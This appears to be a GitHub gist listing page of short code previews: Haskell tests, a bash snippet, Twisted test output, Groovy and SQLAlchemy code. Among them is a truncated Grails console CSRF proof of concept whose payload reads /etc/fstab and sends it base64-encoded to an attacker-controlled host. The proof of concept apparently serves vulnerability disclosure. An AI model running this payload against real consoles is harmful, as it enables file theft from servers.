Skip to content

Instantly share code, notes, and snippets.

berdario

Block or report user

Report or block berdario

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View Spec.hs
import Data.List (permutations, sortBy)
import Test.QuickCheck
readInt :: String -> Int
readInt = read
comp GT _ _ _ = GT
comp LT _ _ _ = LT
comp EQ _ [] [] = EQ
comp EQ previous [x] [] = compare x previous
View Spec.hs
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE TemplateHaskell #-}
import Prelude hiding (writeFile)
import Control.Monad (MonadPlus (..))
import Control.Monad.TestFixture
@berdario
berdario / gist:da882abe5ba77533edf7f43872b8b80e
Last active Oct 12, 2016
How to write to a file in bash without reopening the file multiple times
View gist:da882abe5ba77533edf7f43872b8b80e
exec 3> /tmp/foo
echo "1" >&3
echo "2" >&3
exec 3>&-
View -
twisted.mail.test.test_imap
AuthenticatorTests
testCramMD5 ... [OK]
testFailedCramMD5 ... [OK]
testFailedLOGIN ... [OK]
testFailedPLAIN ... [OK]
testLOGIN ... [OK]
testPLAIN ... [OK]
ClientCapabilityTests
test_categoryAtoms ... [OK]
View Bar.groovy
package foo
class Bar {
static final map = foo
static final foo = [1,2,3]
}
@berdario
berdario / poc.html
Created Aug 8, 2016
Grails console CSRF proof of concept
View poc.html
<html>
<body>
<script>
consoleUrl = 'https://victim.example.com/path/to/console'
attackerHost = 'http://localhost:7979/'
code = `new URL('${attackerHost}'+new File('/etc/fstab').bytes.encodeBase64()).getText()`
code = `evaluate new String('${btoa(code)}'.decodeBase64())` // optional, useful to transmit the payload as a GET argument
function newFrame(content){
View jibitsql.py
#! /usr/bin/env python
from sqlalchemy import create_engine
sqlite = create_engine('sqlite:///:memory:', echo=True)
from sqlalchemy import Table, Column, Integer, String, MetaData, ForeignKey
metadata = MetaData()
from sqlalchemy.sql import select, func
@berdario
berdario / foo2.hs
Created Jul 22, 2016
Constant Applicative Form sharing/evaluation (will get different output in ghci or when compiled)
View foo2.hs
foo :: String -> IO ()
foo dummy = do
let (x, y) = (1, 1)
(x, y) <- pure $ (trace "x" (x+1), (trace "y" y*3)
print $ show (y + y) <> dummy
print $ show (x + x) <> dummy
foo2 x = foo (trace "outerfoo" "foo")
foo3 xs dummy = print $ show (map (+1) xs) <> dummy
@berdario
berdario / foo.hs
Created Jul 22, 2016
State monad does not force ordering
View foo.hs
import Control.Monad.State (execState, get, modify)
import Debug.Trace (trace)
foo :: IO ()
foo = do
(x, y) <- pure $ flip execState (1,1) $ do
(x, y) <- get
modify (\(x, y) -> (trace "x1" (x+1), (trace "y1" y)))
(x, y) <- get
You can’t perform that action at this time.